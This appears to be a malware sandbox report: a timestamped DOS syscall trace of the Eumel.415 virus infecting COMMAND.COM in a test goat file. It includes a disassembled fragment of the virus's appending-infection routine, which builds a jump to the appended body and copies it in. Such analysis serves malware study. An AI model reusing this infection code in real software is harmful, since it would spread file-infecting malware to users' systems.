Sample viewer

vx.netlux.org/Virus.DOS.Eumel.415

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:31.957902413Z 250 PC: 21e5a | UNKNOWN!
2018-12-17T23:07:31.960163995Z 47 PC: 21e74 | Get disk transfer address
2018-12-17T23:07:31.961565381Z 26 PC: 21e88 | Set disk transfer address
2018-12-17T23:07:31.962891341Z 25 PC: 21e97 | Get default drive
2018-12-17T23:07:31.966088757Z 14 PC: 21ea1 | Set default drive (Drive = 'C')
2018-12-17T23:07:31.968471826Z 78 PC: 21eae | Find first file
2018-12-17T23:07:31.975116567Z 67 PC: 21ed6 | Get or set file attributes
2018-12-17T23:07:31.981614406Z 67 PC: 21ee3 | Get or set file attributes
2018-12-17T23:07:32.327381304Z 61 PC: 21eeb | Open file (Filename = 'COMMAND.COM')
2018-12-17T23:07:32.334143212Z 87 PC: 21ef2 | Get or set file date and time
2018-12-17T23:07:32.336130123Z 44 PC: 21f00 | Get time 0x21f00: or dl, dl
0x21f02: je 0x21efc
0x21f04: mov byte ptr [bp + 0x19b], dl
0x21f08: mov ah, 0x3f
0x21f0a: lea dx, word ptr [bp + 0x168]
0x21f0e: mov cx, 3
0x21f11: int 0x21
0x21f13: xor ah, ah
0x21f15: mov ax, 0x4202
0x21f18: xor cx, cx
0x21f1a: xor dx, dx
0x21f1c: int 0x21
0x21f1e: sub ax, 3
0x21f21: mov word ptr cs:[0xfb2d], ax
0x21f25: mov byte ptr cs:[0xfb2c], 0xe9
0x21f2b: lea si, word ptr [bp - 3]
0x21f2e: mov di, 0xfcbc
0x21f31: mov cx, 0x19f
0x21f34: cld
0x21f35: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T23:07:32.339123966Z 63 PC: 21f13 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:07:32.341999089Z 66 PC: 21f1e | Move file pointer
2018-12-17T23:07:32.343890707Z 64 PC: 21f4a | Write file or device (Write 415 bytes on handle 5)
2018-12-17T23:07:32.351857288Z 66 PC: 21f53 | Move file pointer
2018-12-17T23:07:32.353505795Z 64 PC: 21f60 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:07:32.357238761Z 87 PC: 21f77 | Get or set file date and time
2018-12-17T23:07:32.358989958Z 62 PC: 21f7b | Close file
2018-12-17T23:07:32.366534987Z 67 PC: 21f88 | Get or set file attributes
2018-12-17T23:07:32.37700292Z 62 PC: 21eca | Close file
2018-12-17T23:07:32.379404142Z 79 PC: 21eae | Find next file
2018-12-17T23:07:32.382289592Z 26 PC: 21f9a | Set disk transfer address
2018-12-17T23:07:32.383814799Z 14 PC: 21fa4 | Set default drive (Drive = 'A')
2018-12-17T23:07:32.386520862Z 9 PC: 12a85 | Display string (String= 'Sophos Ltd, Oxford sacrificial COM goat F400H bytes long ')
2018-12-17T23:07:32.392205741Z 0 PC: 12a89 | Program terminate